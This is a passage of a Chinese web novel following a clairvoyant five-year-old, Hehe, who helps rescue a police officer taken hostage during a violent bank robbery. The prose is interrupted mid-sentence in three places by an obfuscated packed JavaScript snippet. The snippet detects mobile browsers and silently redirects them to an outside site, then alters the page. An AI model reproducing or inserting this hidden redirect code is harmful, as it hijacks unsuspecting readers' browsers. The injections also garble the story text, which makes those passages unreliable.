漾漾老师漂亮,珍珍老师也很漂亮,为什么一定要把两个老师做比较呢? 她小脑瓜转了转,果断选择转移话题:“珍珍老师今天来幼儿园了嘛?” 张小胖的注意力被岔开,顾不上求证哪个老师更漂亮,冲禾禾指了指午休室的方向:“珍珍老师在午休室,我早上看到了。” 禾禾放下红色米老鼠书包,拉开拉链,从书包夹层掏出两块包装精美的小肥皂。路过张小胖时,她犹豫了一下,还是把其中一块小肥皂递给对方:“用这块香香肥皂洗完澡,你会变得香喷喷的哟~” 她不知道张小胖的想法,但如果小朋友们嫌弃她臭烘烘,她肯定会很难过的。 她希望,张小胖不要被小朋友们嫌弃。 …… 禾禾把一块小肥皂送给张小胖,小手捏着另一块肥皂,小短腿迈得飞快,跑去午休室找陈玉珍。 “珍珍老师,禾禾给你带来香香肥皂了……” 禾禾兴奋地推开午休室的门,坐在床上的陈玉珍循声扭过头,两人视线隔空交错,她看到陈玉珍红肿的双眼,没说完的半句话堵在喉咙里,不上不下,“……珍珍老师,你怎么哭了?” 她脸上的兴奋表情褪去,取而代之的,是深深地担忧。 她慢慢走到陈玉珍身边,手心捏着的肥皂包装纸变得皱皱巴巴,她把肥皂放到床边:“珍珍老师,这块香香肥皂能帮你洗干净那条漂亮的白色连衣裙。” 陈玉珍低头打量面前小小的女孩,女孩眼底满是对她的关心,她鼻头一酸,眼泪又下来了:“谢谢禾禾。” 她弯下腰,紧紧抱住禾禾,不想让禾禾看到她流泪的丑陋模样。 陈玉珍以为禾禾会怪她,怪她强行带自己离开学校,才会让禾禾被绑匪抓走受苦。可禾禾并没有,还按照被抓走前的约定,带来了她口中的“香香肥皂”。 “禾禾,对不起,老师真的很对不起你,对不起。” 陈玉珍声音哽咽,一遍又一遍地对禾禾道歉。 她出生在一个重男轻女的贫困家庭,她是家里的老三,上面两个姐姐,下面还有一个妹妹和一个弟弟。从小到大,她从来没有在家人身上体验过一点爱,对家庭的有限记忆里,她每天都饿得灌凉水饱腹,只能穿补丁叠补丁的旧衣服。 她这辈子最争气的,是她考上了中专幼师。 中专入学第一天,她发誓,她这辈子一定要嫁个有钱人,哪怕是二婚带孩子的男人也可以,只要有钱就好!她再也不要过饿肚子没衣服穿的穷日子。 就在这时,系统找上门了。 系统告诉她,它可以帮助她成为未来的首富太太。 陈玉珍一直以为,她为了过上好日子,是可以不择手段的。可当禾禾真的被绑匪抓走,那一刻,她才明白,她根本不愿意为了所谓的剧情牺牲禾禾。 大概是因为…… 陈玉珍又紧了紧抱着禾禾的双手,贪婪地汲取着怀中小团子身体的温暖。 大概是因为……禾禾是第一个给予她温暖和爱意的人。 …… 禾禾感觉自己快要被珍珍老师勒得喘不过气了。 但她能清楚地感觉到,珍珍老师现在很难过,也很需要她。她伸出小胳膊,环住陈玉珍的腰,轻轻拍着以示安慰。 陈玉珍吸了吸鼻子,总算止住眼泪,松开了抱禾禾的姿势,冲她强行挤出一个笑容:“禾禾,老师要走啦,以后禾禾也要好好吃饭长大哦~” 经过禾禾被绑架一事,她彻底看清了系统的真面目,主动和系统解除绑定。绑定解除后,系统赠送给她的万人迷属性失效,她被园方以重大过失为由开除了。 园方出于对小朋友们的保护,隐瞒了虞禾禾被绑架一事,自然也没有将开除陈玉珍的事公开。对外给出的说法,是陈玉珍因为私人原因,主动辞职。 陈玉珍收拾好行李,出门前,不忘拿起禾禾送来的香香肥皂,用手帕小心翼翼地包了好几层,才装进她的行李包。 禾禾乖乖在旁边看着,她的眼前,突然再次浮现出画面。 画面里,白发苍苍的陈玉珍抱着行李坐在街头,她仰起头,昏花的双眼模糊到看不清面前的高楼大厦,泪水打湿她沟壑纵横的脸颊:“我当年应该买下古水渔村破屋,那我就不用吃这么苦,我早都变成有钱的拆迁户了啊……” 画面最后,老去的陈玉珍蜷缩着身体,在街头永远闭上了眼睛。 “珍珍老师!” 禾禾赶在陈玉珍离开前,猛得冲上去抱住她的腿。 她的脑海中不断盘旋着刚刚的画面,心里像是揣了一只小兔子一样,噗通噗通跳个不停。禾禾用小手不断抚摸着胸脯,终于让自己镇定下来:“珍珍老师,你离开幼儿园以后,打算去做什么呀?” 陈玉珍前两天已经想好了,她打算拿着这几年攒的钱下海经商,或者找个小村子买个屋子,在里面独自蜷居生活一辈子。 迟疑了一下,她还是把自己的两种想法说给了禾禾听。 “小村子买个破屋……” 禾禾小声重复一遍,回想起画面里陈玉珍懊悔的模样,小鹿眼倏地亮了,“珍珍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490909|170131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师!古水渔村!买破屋!” 陈玉珍愣了愣,很快笑了。 古水渔村是整个广海最穷最破的村子,那里的屋子,倒真是货真价实的破屋。 她没有把禾禾的话放在心上,伸手揉了揉禾禾的发顶,撒了个善意的谎言:“好,我去古水渔村买破屋。” …… 下午,石雅特意提前一个小时站在广海第一幼儿园门口,等着接禾禾放学。 绑架事件后,刑侦科的大家商量好,以后谁有空谁来接禾禾放学,坚决保护禾禾的安全,从根源杜绝上次的绑架事件再次发生。 今天恰好刑侦科不忙,几人都想来接禾禾。最终,石雅“以武服人”,才从吕横和娄晓鸣手中抢到接禾禾回家的机会。 放学铃响,向日葵班的小朋友们乖乖站好路队,禾禾站在队伍里,隔着大门,一眼看到了人群中站姿挺拔的石雅。 禾禾学着石雅的模样,不自觉地昂首挺胸,同样站得笔直。 其他小朋友们有样学样,都站得直直的,像一棵棵刚刚抽条的小白杨。 隔壁班老师看到,满脸羡慕对顾漾漾道:“还是漾漾你有办法啊,瞧瞧向日葵班,你刚接手的第一天,小朋友们的精气神都不一样呢!小朋友们肯定很喜欢你,特别是虞禾禾。” 她刚刚注意到了,第一个站直的小朋友就是禾禾,其他小朋友都是跟着禾禾在学。 顾漾漾得意地听着同事的吹捧,谦虚道:“也没有吧?” 嘴上这么说,身体却诚实地蹲下来,向禾禾求证:“禾禾,你今天路队站得这么棒,是不是因为你很喜欢漾漾老师呀?” 禾禾歪头打量顾漾漾,片刻后,乖乖摇头。她抬起胳膊,小手指向大门的方向,坦诚道:“不是哦,禾禾是在学雅雅阿姨,雅雅阿姨站得特别好看~” 顾漾漾顺着禾禾指的方向去看,石雅在人群中鹤立鸡群,格外乍眼。平心而论,她在人群中,气质肯定比不上石雅。 意识到这一点,顾漾漾气得后槽牙都快咬碎了。 …… 禾禾对顾漾漾的情绪变化浑然不知,幼儿园的大门一开,她像只欢快的小鸟,兴奋地扑进石雅怀里:“雅雅阿姨!禾禾带你去买礼物!” 她小手用力拉着石雅,一路走到距离最近的药店,在药店门口站定:“雅雅阿姨,禾禾想给你买一瓶哮喘药作为礼物!” 石雅想都没想,果断拒绝:“谢谢禾禾,不过阿姨的药还有大半瓶呢,不用买新的。” 她蹲下身子,握住禾禾的小手,让禾禾抬手摸了摸自己靠近胸口的口袋:“阿姨的药就装在这里,很方便,阿姨随时都可以掏出来吃。” “雅雅阿姨,禾禾觉得多备一份药更安全哟~” 禾禾板着一张小脸,认真又严肃地对石雅说道,“禾禾希望雅雅阿姨能听禾禾的话,好好照顾自己的身体,这样阿姨才是最棒最棒的警察!” 禾禾的语气实在过于认真,小脸上写满对石雅的关心。 石雅恍惚了片刻,等她回过神时,禾禾已经跑进药店用零花钱买了一瓶新的哮喘药,拆掉包装,双手递到她面前:“雅雅阿姨,给~要把它装在只有你和禾禾知道的地方哦~” 她实在拗不过禾禾,最后还是把药装进了里衣的夹层口袋,笑问:“请问禾禾同学,现在我可以做最棒最棒的警察了吗?” 禾禾笑着凑到石雅的脸颊上亲了一口:“禾禾批准啦!” 就在这时,对面街道突然传来一阵喧嚷声,路人疯狂尖叫逃窜:“救命啊!抢劫杀人啦!快救命啊!” 8. 生产 第八章 正值银行下班时间,押钞车刚开到银行门口,等待柜员清点好今天的存款,将所有的存款送到押钞车上运回总行保管。 变故就是在此刻突然发生的。 四个头戴黑色面罩的男人手持砍刀,从人群中突然蹿出来,凶狠地砍向两名持枪的押钞员。押钞员的脖颈动脉被砍中,鲜血飞溅,来不及开枪便重重栽倒在地,抽搐了两下没了气息。 其中一个矮个子男人夺过押钞员的枪,举在腰间,开始冲人群疯狂射击。现场霎时间乱作一团,尖叫声四起,路人疯狂逃窜。 其他三人迅速闯进银行,控制住银行里的柜员和客户,扔出三个巨大的蛇皮袋,命令柜员把所有钱都装到蛇皮袋里。 为首的魁梧男人扫视一圈,发现瑟瑟发抖的人质当中,竟然还有一个挺着大肚子的孕妇:“哟,大肚婆,看你这模样快生了吧?肚子这么大还跑出来,你老公不心疼你呀?哈哈哈……” 男人举起砍刀,用刀背从孕妇的脖颈缓缓滑到孕肚上。 孕妇随着他的动作瑟瑟发抖,吓得腿一软,扶着肚子跪在地上号啕大哭:“大哥,求求你,放过我吧,我马上就要生宝宝了,放过我宝宝吧,呜呜呜呜……” 她哭得眼泪鼻涕糊作一团,几个劫匪看了,神经被刺激的愈发兴奋,纷纷哈哈大笑。 死寂的银行大厅里,环绕着几人狰狞又猖狂的笑声。 胖劫匪走上前,伸手想去摸孕妇的脸:“老大,这大肚婆还戴着金手镯和金项链,看着很有油水哇~不如我们……” 魁梧劫匪啪得一下狠狠拍掉胖劫匪的手,冷声警告:“胖子,别忘了我们这次出来是为了劫财,别动歪心思!你忘了上次差点儿死在女人身上的事了?” 他教训完胖子,伸出带着狰狞刀疤的胳膊,一把扯掉孕肚的金项链和金手镯,随手扔进银行柜员正在往里装钱的蛇皮袋,不忘再次催促:“装快点!两分钟以后要是还没装完,老子砍了你的脑袋当球踢!” 银行柜员下意识瞄了眼几人手中的砍刀,锋利的刀刃沾染的血迹已经变成了暗红色,在天花板顶灯的照耀下,反射出渗人的光芒。 柜员畏惧地哆嗦了一下,连忙加快装钱的速度,生怕下一个染红刀刃的血属于自己。 …… 石雅拉住一个逃窜的路人,三言两语询问出现场情况,脸色变得凝重起来。 劫匪四人有组织有预谋,训练有素,手段残酷,很有可能是身上背负命案的悍匪。特警队出警抵达现场至少需要半个小时,附近的巡逻警基本都是初出茅庐的新人,大概率没有完美处理突发抢劫案的能力。 石雅下意识看了眼牵她衣袖的禾禾,一时间有些为难。 她不想带禾禾去案发现场,害怕给禾禾的心里留下阴影。但如果送禾禾回家以后再赶过来,粗略估计也要二十多分钟。 对于案发现场的人质来说,浪费的每一秒钟,都会让他们的处境变得更加危险。 她浪费二十多分钟的往返时间,很有可能错过救援人质的黄金时间。 石雅纠结的模样落在禾禾眼里,禾禾在心底无奈叹气——雅雅阿姨的这幅表情,她在爸爸脸上同样见过很多次。 她好想直接告诉雅雅阿姨,抓坏人比照顾禾禾更重要。但她如果说了,雅雅阿姨一定会像爸爸一样,红着眼眶对她说“对不起,陪伴她的时间太少了”之类的话。 禾禾晃晃石雅的手,刚准备说她可以陪石雅一起去案发现场,一道娇媚的女声突然从身后传来。 “禾禾?你怎么还在这儿呀?” 禾禾扭头,看到顾漾漾挎着小方包一步三曳,黑长直柔顺地垂在肩头,亭亭袅袅向两人走来。她晃了晃石雅的手:“雅雅阿姨,是漾漾老师!” 她抬头望望石雅,又看看对她笑得温柔的顾漾漾,眨巴眨巴大眼睛,小脑瓜里很快有了主意:“雅雅阿姨,我……我饿了……我可以带漾漾老师去吃肠粉吗?” 说完,她不等石雅的回应,哒哒哒跑到顾漾漾身边,真诚邀请:“漾漾老师,张小胖说你是津海来的,我们广海的肠粉可好吃啦,你要不要尝尝呀?” 顾漾漾正愁没有理由亲近虞禾禾,面对禾禾的邀请,笑容像是一朵花一样绽开,迫不及待地点头答应:“好呀,禾禾,那等吃完肠粉以后,漾漾老师亲自送你回家好不好?” 禾禾只想着不给雅雅阿姨添麻烦,全然不知道顾漾漾企图接近虞光城的想法。 她跑上去又抱了下石雅,小手仔细摸索了一番,确定她买的备用哮喘药还装在石雅的夹层口袋,才放心冲石雅挥手拜拜:“雅雅阿姨,那我和漾漾老师走了哦~” 石雅见禾禾依赖顾漾漾,同样放下心来,冲顾漾漾嘱咐了几句,又掏出五块钱塞到禾禾的手里:“拿去买肠粉,剩下的自己留着零花。” 说完,她转身向案发现场拔腿跑去。 顾漾漾微眯起眼,看着石雅奔跑的背影从视线中极速消失,唇角扯起凉薄的笑意。 去吧,去奔向你的阎罗殿,虞光城注定只能成为她顾漾漾的丈夫。 …… 禾禾注意到顾漾漾的表情,突然觉得心口胀胀的——漾漾老师的笑容好奇怪呀……她好像……还是更喜欢珍珍老师…… 她默默松开了牵顾漾漾衣角的小手,攥紧石雅塞给她的五块钱,纸币上还残留着清爽的柠檬皂角粉味,这是独属于石雅的味道。 顾漾漾没有注意到禾禾疏离的动作,掐着嗓子,用甜腻的嗓音询问她:“禾禾,你打算请老师去哪里吃肠粉呀?” 禾禾的心早跟着石雅一起飞走了。 她的脑海中不断浮现出石雅的哮喘药被坏人踩碎的画面。 她咬咬唇,鼓起勇气把五块钱塞进顾漾漾手里:“对不起,漾漾老师,禾禾骗了你和雅雅阿姨。禾禾不想吃肠粉,只是想让雅雅阿姨去忙工作,不要担心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490910|170131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禾禾。” 她抬起小手,随手指了家附近常吃的肠粉店:“那家店的肠粉很好吃,漾漾老师可以去试试。我……我要去找雅雅阿姨……” 说着,她整理好背上的米老鼠书包,迈开小短腿,坚定地朝着石雅刚才离开的方向走去。 顾漾漾的神情瞬间冷凝,但很快,她想到什么,笑逐颜开:“系统,虞光城应该很讨厌拥有一个会撒谎的女儿吧?明天我要去虞禾禾家家访。我要用全部积分兑换技能‘巧舌如簧’,这样,虞光城听完我的讲述,一定会厌恶‘撒谎精’虞禾禾。” 系统犹豫了一瞬:【宿主,我还是建议你等石雅死亡积分到账再兑换呢~兑换后你的积分为零,万一石雅没有死,主系统会自动扣除你的积分作为惩罚。宿主的积分为负数,是会受到主系统惩罚的……】 顾漾漾冷哼:“系统,早上可是你亲口说的,按照剧情石雅今天一定会死。还是说……你在骗我?” 系统急忙反驳:【当然没有!我先给你兑换就是了。叮——道具“巧舌如簧”到账。指定被使用者后,对方会无条件相信宿主口中说出的所有内容。】 …… 禾禾小心翼翼地走到银行附近,巡逻警车已经在周围拉起了警戒线。银行大门紧闭,看不清里面的具体情况。 石雅正举着大喇叭向银行里的四个劫匪喊话:“里面的人听好了,只要你们不要伤害人质!有什么要求我们都可以商量!” 禾禾挤进熙熙攘攘的围观人群,钻到警戒线最前面,大气都不敢喘,怀里抱着米老鼠书包,死死盯住银行大门的方向,想迫切地看清劫匪的模样。 不一会儿,银行大门缓缓打开,两名银行柜员佝偻着腰,拖着三个大蛇皮袋颤颤巍巍地挪出门,双腿不停打着摆子:“别……别开枪……” 石雅眼尖,一眼看到银行柜员腰间还绑着炸弹,抬手示意巡逻警们不要轻举妄动。 银行柜员冲她投来感激的目光,按照劫匪的要求,费力地哼哧哼哧扛起装满钞票的蛇皮袋,塞进押钞车的后座。 与此同时,持枪的矮个子劫匪躲在孕妇身后,一条胳膊死命勒住孕妇的脖颈,出现在门口警惕地环顾四周后,朝着银行大厅的三人喊道:“只有四个巡逻警,一个女警察,没有配枪特警,也没有埋伏狙击手!我们速战速决!” 孕妇被勒得发出痛苦地呻.吟,脸色不断涨红。 禾禾认出孕妇是前两天送她番薯甜羹的糖水铺老板娘,她吓得小脸惨白,一屁股坐在地上。 而这个角度,也让她看清了矮个子绑匪穿着一双脏兮兮的绿色解放鞋——和她画面里看到的,碾碎雅雅阿姨药瓶的那双鞋一模一样。 糖水铺老板娘在极度惊吓中,几近窒息,不知道是谁喊了声“人质好像失禁了”。 围观的众人定睛一看,立刻有生产过的妇人出声喊道:“不是失禁!杀千刀的烂仔!人质羊水破了,她要生了哇……” 9. 惩罚 第九章 此时,一阵警笛声由远及近,几名劫匪对视一眼,都明白必须立刻撤退。 瘦劫匪又紧了紧挟持糖水铺老板娘冯佳琴的胳膊,冯佳琴流出的羊水在身下汇聚成小溪,她脸色苍白,捂住肚子颤抖哀求,声音悲切:“求求你……我的孩子要出生了……求求你放过我吧……我可以把我所有的钱都给你们。” 她和丈夫结婚五年,去年下半年才终于怀上孩子。首都医院的教授说,她的身体状态不太好,这个孩子很有可能是她这辈子唯一的孩子。 冯佳琴能清楚感受到,腹中孩子的生命力在缓缓流失。 瘦劫匪轻蔑冷笑,目光落在押钞车上三个装满钞票的麻袋上,语气贪婪:“老子们刚抢到的钱这辈子都花不完,谁稀罕你那三瓜两枣。” 他嫌弃地往后挪了点身子,不想让羊水弄脏自己:“你给老子憋住了!再溅到老子的衣服上,老子现在就毙了你!” 冯佳琴听到劫匪冷戾的话语,眸中蒙上一层绝望的阴翳,挣扎幅度越来越小。 石雅察觉到冯佳琴的变化,心下一凛,和劫匪交涉谈判的语气变得急促起来:“你们不要激动……这样,我来当你们的人质,好不好?” 她双手飞快地在身上摸索了一遍,向劫匪证明她的身上没有武器。 瘦劫匪拿不定主意,扭头去看老大。 为首的劫匪接收到信号,走上前,掐住冯佳琴苍白的脸,冲石雅狞笑:“你当老子傻X啊?老子放着手无缚鸡之力的孕妇人质不要,要你这个当警察的臭娘们儿!” 为首的劫匪话音刚落,无意瞥到赶来现场的虞光城和特警队,瞳孔微微收缩。 他几次在报纸上见到过虞光城的报道,虞光城手腕强硬,一旦让虞光城接管现场,恐怕他们真的很难逃脱。 他们兄弟几个干这一票为了求财,不是为了玩命,得利用人质迅速脱身才行。 石雅敏锐捕捉到劫匪的眼神变化,隐隐揣测出劫匪迫切脱身的心情。 她看向虞光城的方向,心里有了主意,清清嗓子:“对于你们来说,我比那个孕妇更有用,我是虞光城的恋人。” 虞光城和石雅搭档几年,配合默契,在她说出这句话时,瞬间明白了她的意图。 他上前一把攥住石雅的胳膊肘,配合演戏,脸色露出紧张的情绪:“你不许去。” 说完,他抱臂冷眼望向劫匪,假装出不在乎人质的态度:“你们大可以继续在这里拖时间,我等得起。” 为首的劫匪看看虞光城,又看看石雅,心里有些动摇。 瘦子挟持的大肚婆眼瞅着不行了,再拖下去,等待他们的只有特警的枪子儿。 他权衡片刻,咬咬牙,终于下定主意,指了下石雅:“你……自己把自己铐起来,上车。等你上车,我就放过大肚婆!” 石雅冲虞光城点点头,按照劫匪的要求铐起自己,步伐坚定地走上车。 瘦劫匪见状,扯着冯佳琴退回车上,猛地推开冯佳琴。 为首的劫匪松了口气,指着角落里两个瑟瑟发抖的银行柜员,冲虞光城大喊:“你们警察别想给我耍花样……我手里有炸.弹遥控器!你们要是敢追上来,我就炸死那两个银行柜员!” 他给剩下的劫匪使了个眼色,两人立刻举起手中的遥控器,冲警方挑衅地挥了挥。 三人依次登上押钞车,引擎声嗡鸣,押钞车扬长而去,只留下一路猖狂的尾烟。 …… 虞光城连忙组织警员将冯佳琴送医、疏散人群;指挥特警赶紧拆弹排爆,同时联络交管部门锁定押钞车的行驶方向。 他安排好一切,直起腰喘息的工夫才看到,禾禾在人群中小手合十,像是在祈祷。 虞光城心头一紧,生怕人群中还有劫匪的同伙,对禾禾造成威胁。他连忙迈开长腿,大跨步向禾禾的方向走去。 此时,禾禾在人群中目睹全程,小心脏都提到了嗓子眼。她双手并拢在胸前,学着大人的样子,小声祈祷着:“求求你,让我看到雅雅阿姨要被坏人带去什么地方吧。” 她祈祷了好一会儿,眼前只有穿梭的行人,并没有出现她期盼看到的画面。 禾禾心里愈发着急,声音发颤,再次祈祷:“求求你……” 话刚说出一半,她的眼前终于浮现出几个劫匪的画面——劫匪们摘掉头上的黑色头套,为首的劫匪唇角长着一颗黑色大痦子,他们抓起麻袋里的钞票,兴奋地抛洒在空中,笑得猖狂:“哈哈哈……这次是发达咯,我们坐今晚的货船,直接偷渡香江!让那群狗日的警察们梦里找我们!” 瘦子劫匪拍拍胖劫匪的脸,揶揄:“还在想那个警花?别怪哥哥残忍,那婆娘太凶悍了。咱们要是带着她,一路上还不知道会惹出什么麻烦。哥哥我已经很给她面子了,把她扔在花圃当花泥,重生还是大美人~” 画面至此戛然而止。 禾禾抓住画面里的线索,揪着米老鼠书包的带子,迈开小短腿朝虞光城的方向狂奔。两人撞了个满怀,她顾不上揉揉撞红的额头,拉住虞光城的胳膊,急切摇晃:“爸爸!救雅雅阿姨……” 她想说出石雅被抛下的准确地点,嘴巴再次被什么东西糊住,张都张不开。 禾禾急得眼眶、鼻头通红,好在此时,虞光城的无线对讲机里传来交管部门的讯息:“虞支队,押钞车最后被人目击出现在西郊国道岔路口,岔路口通往两个方向,一个是百花村,另一个方向是码头路。目前,我们在西郊国道附近只有一辆巡逻警车,您看先朝哪个方向追击……” 虞光城几乎在第一时间就做出了决断——往码头路追。 四个劫匪这一次至少抢了上千万,他们想在大陆偷偷消化掉这笔巨款几乎不可能,大概率会选择走水路偷渡香江。 虞光城正要开口说去码头路,禾禾软乎乎的哭腔在耳边响起:“百花村!爸爸,往百花村追,信禾禾!” 虞光城垂眸看着哭成泪人的禾禾,心里很不是滋味。放在平时,他肯定对女儿的所有意见百依百顺, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490911|170131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但现在不一样——多年的刑警经验告诉他,码头路才是劫匪最有可能经过的地方。 他抱起禾禾,替她擦干小脸上的眼泪,还是朝对讲机那头道:“让巡逻车往码头路追……” 虞光城又看了眼特警的方向,特警队长向他比了个炸弹已拆除的手势。 他长吁了口气,抬手摸摸禾禾的脑袋:“我亲自开车顺着百花村方向追踪。” 作为刑侦大队支队长,他不能轻信五岁女儿的童言童语,影响自身的判断;但作为虞禾禾的父亲,他愿意尊重孩子的想法,并且亲自去验证她的想法。 …… 虞光城车技高超,开着警用吉普朝百花村方向疾驰而去。 禾禾坐在后座,小手紧紧抓住身上的安全带,头发被车窗缝里灌进来的风吹得乱糟糟,凌乱地糊在糯米团子似的脸蛋上,但她完全没有整理的心情。 她不知道石雅到底能不能脱离危险,只能闭上眼睛,用稚嫩的语言一遍又一遍地祈祷着—— “雅雅阿姨一定要没事呀,禾禾愿意一百年都不吃最爱的烧鹅,拜托啦拜托啦~” 禾禾嘴里一直喃喃着,细碎的祈祷声被风吹散,飘向不知道的地方。 虞光城透过后视镜望向禾禾,心中同样焦灼,他再次重重踩下脚底的油门。 百花村村如其名,家家户户的田里都种着各式的鲜花,主要向外提供给各省,作为日常用花和城市花卉景观建设。 吉普车行驶到一片广袤的风信子花圃时,禾禾噌得一下坐直身子——这片花圃,和她在画面里看到雅雅阿姨倒下的地方一模一样。 禾禾大半个脑袋探出车窗,视线在花圃的每一处仔细逡巡:“爸爸开慢一点!” 虞光城放慢车速,跟随禾禾一同四下观察,还不忘警惕环境。 下一秒,花圃的一角,石雅摇摇晃晃地站起来,手掌不断地抚摸胸口,努力调整自己紊乱的呼吸:“虞……虞队……” 在看到虞光城熟悉的吉普车后,石雅的脸上终于露出笑容,她用尽最后力气向虞光城的方向招招手,又一头重重地栽倒在地。 同一时间,顾漾漾还坐在咖啡店里慢条斯理地品尝咖啡,她幻想着攻略成功后的奖励,嘴角上扬起夸张的弧度。 “嘶——” 顾漾漾感受到腹部的刺痛,不禁皱眉,下意识放下咖啡杯,捂住肚子。 平坦的小腹在她手掌接触的瞬间,迅速膨胀,大量肥肉从掌心溢出来,紧身牛仔裤“刺啦”裂开,纽扣吧嗒吧嗒掉了一地。 顾漾漾吓得脸色惨白,一手捂着肥肉,另一只手死命拽住快掉下来的牛仔裤:“系统!这是怎么回事?!!” 系统也惊呆了,连忙在后台查询,随后,缓缓开口:【……宿主,石雅的死亡结局被改变,她还活着……我们这次的任务失败了。因为你下午提前透支积分兑换道具……现在你的账户积分为负。经过主系统检测,你最在乎自己的完美身材,主系统罚你增重二十斤,作为透支积分的惩罚。】 10. 傻瓜 第十章 禾禾解开安全带,没等虞光城抱她,直接跳下车,像是一支离弦的箭,飞快地冲进花圃,跑到晕倒的石雅身边:“雅雅阿姨!” 虞光城推开她的小脑袋,直接弯腰打横抱起石雅,快步向车里走去:“禾禾,你跟上爸爸。” 禾禾乖乖地嗷了一声,连忙一路小跑着跟上。 吉普车疾速驶离花圃,石雅远离过敏源,慢慢恢复了意识。感受到禾禾小手的温热绵软触感,她心中涌过一阵暖流,伸手紧紧握住那只小手:“禾禾,这次是你救了阿姨,你真是阿姨的小福星呀。” 当时,劫匪们把车开到百花村,路过第一片花田,她的哮喘隐隐有了发作的迹象。 瘦劫匪眼尖,发现她的状态不佳,立刻做出决定,和胖劫匪一起合力把她扔进花圃深处。 越到花圃深处,石雅的哮喘发作越离开,她强撑着一口气,听到胖瘦劫匪的脚步声渐行渐远,颤颤巍巍从口袋里掏出随身携带的哮喘药。 她没想到,瘦劫匪会突然折回来,一脚踹上她的手腕,她吃痛地松开药瓶。 瘦劫匪狞笑着,抬起脚将药瓶连带里面的药片碾成齑粉:“老子就说怎么眼皮乱跳,幸好折回来了,想吃药?想活着?哈哈哈哈——做梦!臭婆娘,这就是你逞英雄的代价!” 一阵风吹过,头顶的风信子花丛簌簌作响,花粉飘摇。 瘦劫匪一直站在原地,等石雅没了呼吸,才吹着口哨,踩过花丛,优哉游哉地离开了。 石雅努力吊着一口气,确定瘦劫匪真的离开了,才终于敢重新呼吸。她用尽最后的一丁点儿力气,掏出禾禾买给她的备用哮喘药,就着分泌出来的口水吞下去。 她望着湛蓝的天空,不知道过了多久,呼吸终于慢慢平稳下来,也终于见到来救她的禾禾和虞光城。 禾禾躺在石雅的大腿上,藕节似的胳膊环住她的腰,两滴眼泪悄悄地滑落,蹭在石雅的衬衫上瞬间消失不见:“幸好雅雅阿姨没事,禾禾好开心。” 虞光城目光专注望向前方开车,禾禾和石雅的对话一字不落地传进他的耳朵。 他回想起刚刚作出的决策,心里一阵后怕——如果他没有听禾禾的话,带人和巡逻警车一起往码头路的方向追击,那石雅现在…… 他忍不住扭头看了眼禾禾,黑曜色的眸底浮现出欣慰。 石雅说得对,禾禾真是他的小福星呢! …… 石雅被送进医院,经过医生的检查,确定身体并无大碍,只需要留院观察两天。 虞光城还得继续追踪逃脱的劫匪,叮嘱了石雅两句:“师父说,他会让师娘一会儿来照顾你。你这几天好好养伤,局里的事情你不用操心。” 石雅挣扎起身,用力拍拍胸膛,试图证明自己的身体倍儿棒:“虞队!我明天就能归队!我要亲手抓住那几个畜生!” 虞光城脸色微微沉下来,正想开口告诉石雅不行,禾禾先他一步开口:“不行哦,雅雅阿姨。” 禾禾踮起脚尖,替石雅在身下垫了两个软乎乎的枕头,好让石雅能坐得更舒服一点,“养好身体最重要!如果雅雅阿姨再受伤的话,禾禾会心疼的。” 她的小手轻轻抚摸过石雅手腕的手铐勒痕,眼眶红彤彤的,像是只小兔子。 石雅望着禾禾可怜巴巴的表情,莫名地有些心虚,只好举双手投降:“好好好,我听禾禾的,我这几天就待在医院,哪儿都不去。” 局里人人都怕虞光城,说他是令人闻风丧胆的“冷酷机器”,石雅不怕。她大学毕业刚进公安局那会儿,因为案情分歧和虞光城互呛,一战成名。 她没想到,天不怕地不怕的自己,如今栽到了禾禾身上,还栽得心甘情愿。 禾禾听到石雅的保证,破涕为笑,在她的脸上吧唧亲了一口:“雅雅阿姨真棒!禾禾明天送你一朵小红花!” 虞光城看了眼腕表,知道不能再在医院耽误时间了,弯下腰,捏了捏禾禾的小脸:“禾禾,今天晚上爸爸可能回不来。你跟秀珍奶奶回家住,好不好?” 禾禾乖乖点头,又看了眼病床上的石雅,挺了挺小胸脯,自信保证:“好!爸爸去忙吧!禾禾会照顾好雅雅阿姨的。” 虞光城注视着乖巧的女儿,冷硬的心化成一滩春水,他亲了下禾禾的脸颊,随即大跨步走出病房,轻轻阖上病房的门。 …… 虞光城前脚刚走,王秀珍带着程时泽赶来医院,两人手里一人拎一个不锈钢保温桶。 王秀珍一进门,咣当一声把保温桶砸在床头柜上,开口就骂:“我说你这孩子,是不是脑子里缺根弦儿啊!” 她气得直哆嗦,举起食指,重重地戳了戳石雅的脑门:“你们一个一个,怎么都这么不让人省心!” 